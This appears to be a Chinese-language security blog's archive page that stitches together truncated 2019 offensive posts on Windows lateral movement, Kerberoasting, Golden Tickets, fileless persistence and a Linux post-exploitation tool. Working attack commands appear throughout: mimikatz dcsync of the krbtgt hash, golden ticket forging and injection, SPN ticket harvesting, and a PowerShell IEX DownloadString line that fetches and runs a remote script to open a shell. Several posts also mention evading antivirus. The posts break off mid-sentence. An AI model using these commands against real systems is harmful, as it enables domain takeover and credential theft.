Windows Lateral-Movement Persistence Pth      2019-11-25

一、Windows 远程管理服务

        WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。

 

二、利用的基础条件

    1. 通信的双方都需要开启WinRM服务

        Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;WinRS 适用于Windows 2008 以上版本;Windows 2012 之后的版本默认允许远程任意主机来管理。开启可以使用下面其中一条命令即可

winrm quickconfig -q
Enable-PSRemoting -Force

    2. 服务端防火墙允许WinRM服务端口通信

        默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

 

    3. WinRM通信两端配置要求

    (1)查看WinRM具体配置:

winrm get winrm/config

    (2)允许所有客户端IP连接:

winrm set winrm/config/Client @{TrustedHosts="*"}
winrm e winrm/config/listener # 查看监听地址和端口

 

三、远程管理

    1. WinRS 进行远程管理

winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd

    2. 利用Powershell远程管理

Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Cu
Windows Lateral-Movement Persistence Pth      2019-11-21

一、RDP 服务确定和启动

    1. 确定RDP服务是否启动和服务端口

        (1)注册表查询

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber  # 查看RDP服务的端口

 

        (2)进程查看

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "3220" # 找到进程对应的端口号

 

    2. 启动RDP服务

        (1)cmd 本地注册表启动

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  # 监听 3389 端口 

也可以通过reg配置文件的方式启动:regedit /s startrdp.reg

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber
Windows Lateral-Movement      2019-11-20

一、MS17-010 漏洞扫描

    1. MSF中的 auxiliary/scanner/smb/smb_ms17_010 模块

        该模块可以直接通过socks代理直接扫描内网,速度比较慢。

 

    2. MS17-010-Nessus.exe

        该工具可以直接落地到目标机器上,经过测试在Win 10上可以正常运行,在Win 7和 Windows Server 2012 会爆缺少msvcr100.dll,必须使用x86的msvcr100.dll,否则会提示另一个错误{This Application Was Unable to Start Correctly (Error Code: 0xc000007b) },可以将msvcr100.dll 与MS17-010-Nessus.exe 一起上传到目标上执行,使用方法:

MS17-010-Nessus.exe -q -m -b 192.168.0.1 -e 192.168.255.254 -o scan.out # 指定IP范围扫描
MS17-010-Nessus.exe -q -m -l hostlist -o scan.out # 指定目标主机列表,一个IP一行
MS17-010-Nessus.exe -q -m -b 192.168.0.1 -e 192.168.255.254 -o scan.out -p 139 # 指定TCP 139 端口利用
MS17-010-Nessus.exe -q -m -l hostlist -o scan.out -p 139

参数说明:

-q:只显示vulnerable主机,否则将显示safe、unknown等其他主机
-o ret.txt:将输出结果保存到文件,否则向stdout输出
-m:实时显示当前扫描目标

输出结果样例:

xx.xx.xxx.xx    safe        [Unix|Samba 3.6.25|WORKGROUP][@WORKGROUP]
xx.xx.x.xx      vulnerable  [Windows 7 Ultimate 7600|Windows 7 Ultimate 6.1|WORKGROUP][APPLE-PC@WORKGROUP]
xxx.xxx.xx.xxx  vulnerable  [Windows 7 Ulti
Windows AD SPN Persistence      2019-11-17

一、概述

        黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

 

二、Kerberoasting攻击流程

    1. 发现服务主体名称(SPN)
    2. 请求服务票据
    3. 导出服务票据
    4. 破解服务票据
    5. 重写服务票据&RAM注入

 

三、请求服务票据

    1. Powershell

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

批量请求所有的SPN:

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

 

    2. Mimikatz

mimikatz.exe "kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

 

    3. GetUserSPNs

python GetUserSPNs.py -request pentestl
Windows SPN AD      2019-11-17

一、SPN定义

        服务主体名称(Service Principal Names)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。SPN分为两种:

        (1)机器账户(Computers)注册:服务权限通常是Local System或者Network Service

        (2)域用户账户(Users)注册:注册在一个域用户权限下


二、SPN格式

    1. 域内常见的SPN实例

    * MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
    * ExchangeMDB/adsmsEXCAS01.adsecurity.org
    * TERMSERV/adsmsEXCAS01.adsecurity.org
    * WSMAN/adsmsEXCAS01.adsecurity.org

    * ……

    2. 常见的服务主体名称和对应的服务

    * AcronisAgent:针对Acronis备份和数据恢复软件
    * Afpserver:Apple归档协议
    * AgpmServer:Microsoft高级策略管理(AGPM)
    * ExchangeAB:Exchange通讯簿服务
    * ExchangeRFR:交换通讯簿服务
    * ExchangeMDB:RPC客户端访问服务器角色
    * MSSQLSvc:Microsoft SQL Server
    * MSOMHSvc:Microsoft 系统中心运营经理管理服务器
    * MSOMSdkSvc:Microsoft System Center Operations Manager 管理服务器
    * MSServerCluster:Windows集群服务器
    * MSServerClusterMgmtAPI:集群的API需要此SPN才能使用Kerberos向服务器进行验证
    * MSClusterVirtualServer:Windows 集群服务器
    * TERMSRV:Microsoft 远程桌面协议服务
    * WSMAN

Windows Persistence AD Ptt      2019-11-13

        在我们拿到域管理员权限后,可以导出域控上的所有用户的hash,其中有一个krbtgt的用户hash需要特别注意。它主要是Kerberos域认证的主要密钥,每个域用户的Ticket都是由krbtgt的hash计算生成,有了它我们就可以随意伪造Ticket(Golden Ticket)登录域控制器。并且域内用户受密码策略的限制可能会定时修改密码,但是这个krbtgt是很少修改的(除非管理员发现被入侵了)。

 

一、使用前提

    1. 需要知道krbtgt用户的hash

    2. 需要知道域的SID

    3. 需要与KDC通信,一般是域控

 

二、利用演示:票据导出文件注入域成员机器

    1. 导出域控上的krbtgt hash,可以使用mimikatz在域控上本地导出或者使用mimikatz的dcsync模块、secretsdump远程导出(需要域管权限)

mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt" exit

    2. 在本地生成生成 Golden Tricket,执行后会在当前目录下生成gold.kirbi 文件

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ticket:gold.kirbi" exit 

    3. 将gold.kiebi导入域成员主机,获得域管权限

mimikatz.exe "kerberos::ptt .\gold.kirbi" exit

三、利用演示:直接将票据注入内存

    1. 不用生成kiebi直接进行黄金票据传递,在域成员主机运行:

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ptt" exit

PS:mimikatz.exe 不过杀软,如果需要落地,必须免杀处理。

 

    2. MSF中也有对应的模块:

load kiwi # 在meterpreter中加载kiwi
golden_ticket_create -d domain  -k ha
Windows      2019-11-13

        当计算机用户登录时,计算机是如何判断用户输入的密码是否正确的呢?工作组和域环境的验证方式是否一样呢?

 

一、NTLM协议认证

        在工作组环境中,各个机器处于同等地位,各个计算机上的用户各自独立。当计算机用户登录时主要采用NTLM协议认证方式,对用户而言其主要涉及的进程有:

        (1)winlogon.exe 进程接收用户的明文密码输入

        (2)lsass.exe 进程加载用户的NTLM Hash认证与Hash后的明文密码对比验证

       

        Windows中的Hash结构:username:RID:LM-HASH:NT-HASH ,其中LM-HASH主要采用DES加密,大小写不敏感,容易判断出用户密码是否大于等于7位;NT-HASH是将明文转成十六进制,然后再Unicode编码,最后调用MD4加密产生的,对大小写敏感。

 

        NTLM协议的认证流程如下:

        (1)客户端向服务器发送用户信息(例:用户名user)请求
        (2)服务端接受请求,生成16位随机数Challenge,用user对应的NTLM Hash加密Challenge生成Challenge1,然后将Challenge发给客户端
        (3)客户端接收Challenge,用user对应的NTLM Hash加密Challenge生成Response发给服务器端
        (4)服务端对比接收的Response和Challenge1相同,则认证成功

        上述流程中,用户的登录密码hash为NtLM hash,Response中包含的是Net-NTLM hash。NTLM认证中,响应分为NTLM v1、NTLM v2、NTLM session v2三种协议,对应不同格式的Challenge和加密算法。对应不用的Net-NTLM hash,及Net-NTLM v1 hash、Net-NTLM v2 hash。由上述过程可知认证过程中,只涉及到本地的用户名(user)和对应的NTLM Hash,因此如果在知道用户名和对应的NTLM Hash而不知道明文密码时,也能完成NTML认证,即哈希传递

 

二、Kerberos域认证

        在域内环境中,域管理员用户可以登录上域内任意一台机器进行管理,

无      2019-11-12

## SPF

 

一、SPF的定义

    SPF(Sender Policy Framework) 是一种通过IP地址认证电子邮件发件人身份的技术,通过认证发件IP与发件域名中的规则进行匹配,从而防止他人伪造邮件。

 

二、SPF验证过程


    1. 接收端获取发件端IP
    2. 接收端查询发件域名(mail from 字段,实际发件人;from为显示发件人;二者可能不同,不同时会有提示)的txt记录
    3. 根据SPF记录的规则进行匹配,可按声明的策略进行处理

 

三、配置SPF


        一条 SPF 记录定义了一个或者多个”机制”,而”机制”则定义了哪些 IP 发送的邮件可以接收,哪些 IP发送的邮件是进垃圾箱或者直接拒绝。机制由动作+配置规则 组成,类同防火墙规则。

        匹配规则可以是一下几种:

匹配样式样例说明
all+all匹配所有ip结果,一般放在SPF记录的结尾,表示处理(拒绝)剩下所有的结果
ip4ip4:10.1.2.2/24允许接收10.1.2.2/24网段的来信
ip6ip6:1080::8:800:200C:417A/96允许接收1080::8:800:200C:417A/96网段的来信
aa/24 ; a:<domain> 允许接收发件域名对应的a记录IP或者IP/24的来信
mxmx ; mx:<domain>允许接收发件域名或指定域名中mx记录的IP的来信
ptrptr ; ptr:<domain>
existsexists:<domain>将对<domain>执行一个 A 查询,如果有返回结果(无论结果是什么),都会认为匹配成功
includeinclude:<domain> 表示引入<domain>域名下的 SPF 记录

        匹配后执行的动作有以下几种:

动作含义服务器处理方案缩写
Pass发件IP合法接收来信+
Fail发件IP非法退信-
Soft Fail发件IP非法,不采取强硬措施,软拒绝接收来信并标记,如进垃圾箱~
NeutralSPF记录中没有关于发件IP是否合法的信息接收来信
None服务器没有设定SPF记录接收来信
PermError严重错误,例如SPF记录语法错误没有规定
TempError临时错误,例如DNS查询失败接收或拒绝来信

注意,上面所说的「服务器处理方案」仅仅是 SPF 标准做出的建议,并非所有的邮件服务器都严格遵循

Windows Persistence      2019-11-10

        传统的恶意软件(.exe)藏于磁盘的文件中,为了长期隐藏感染,需要修改注册表并连接到此文件。所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表(或者自运行)+ 加载远程载荷。当前该方法也可以用于绕过杀软、通过RCE漏洞直接getshell等。这里仅说下加载远程载荷的方法。


一、加载脚本常见的形式

    1. 以恶意脚本的形式

        利用Windows自带的解析器:PowerShell、VBScript、批处理文件和JavaScript,对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本,直接调用解析器运行(可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆)

    2. 利用Windows自带的工具或脚本等原生工具

        用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等,常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,脚本类型的有:winrm.vbs、wmiexec.vbs、pubprn.vbs等


二、恶意脚本加载

    1. Powershell.exe

        以反弹一个简单的shell为例子,更多功能的脚本可参考PowerSploitNishang

powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"

    2. Mshta.exe

        Hta是HTML应用程序,大多数的Windows操作系统都支持Hta文件执行,利用Mshta.exe解析.hta文件执行,这里的.hta文件可以是本地的也可以是可访问的远程主机上的。这里以用Mshta.exe解释远程MSF生成.hta文件完成上线为例

在目标机器上运行 mshta http

tools Linux      2019-11-10

        无意间看到一个帖子推荐的工具,自己下载本地测试了下,感觉还有很大的改动空间。项目地址:https://github.com/3XPL017/LinPwn,工具本身提供了Linux上执行命令、读取文件、下载文件、读取用户hash和wifi密码、下载LinEnum并执行等功能。



一、编译运行

    1. 需要在LinPwn.cc中修改C&C地址和端口:

    2. 编译生成二进制工具:执行./build.sh --default

    3. 控制端开启监听,并在目标上运行生成LinPwn(2019年11月测试Virtustotal没有检测出任何问题


二、功能演示

    1. 查看所有功能模块,输入模块名进入,exit退出模块

    2. Shell 模块:执行命令

    3. Readfile 模块:读取文件

    4. Enumerate 模块:下载并运行LinEnum,用于本地信息搜集和提权(运行时间有点长)

    5. Download 模块:从指定url下载文件(进入模块,输入下载的url)

    6. Wificredz 模块:收集保存的wifi密码

    7. Hashdump 模块:收集系统用户hash(读取/etc/shadow内容)


三、评价

    1. 该工具功能不是很强大,基本上每个功能都是一条命令都能解决的

    2. 实现代码简单,可以根据该工具的代码框架,逐渐增添新的功能模块

    3. ……(编不出来了,以上仅个人拙见)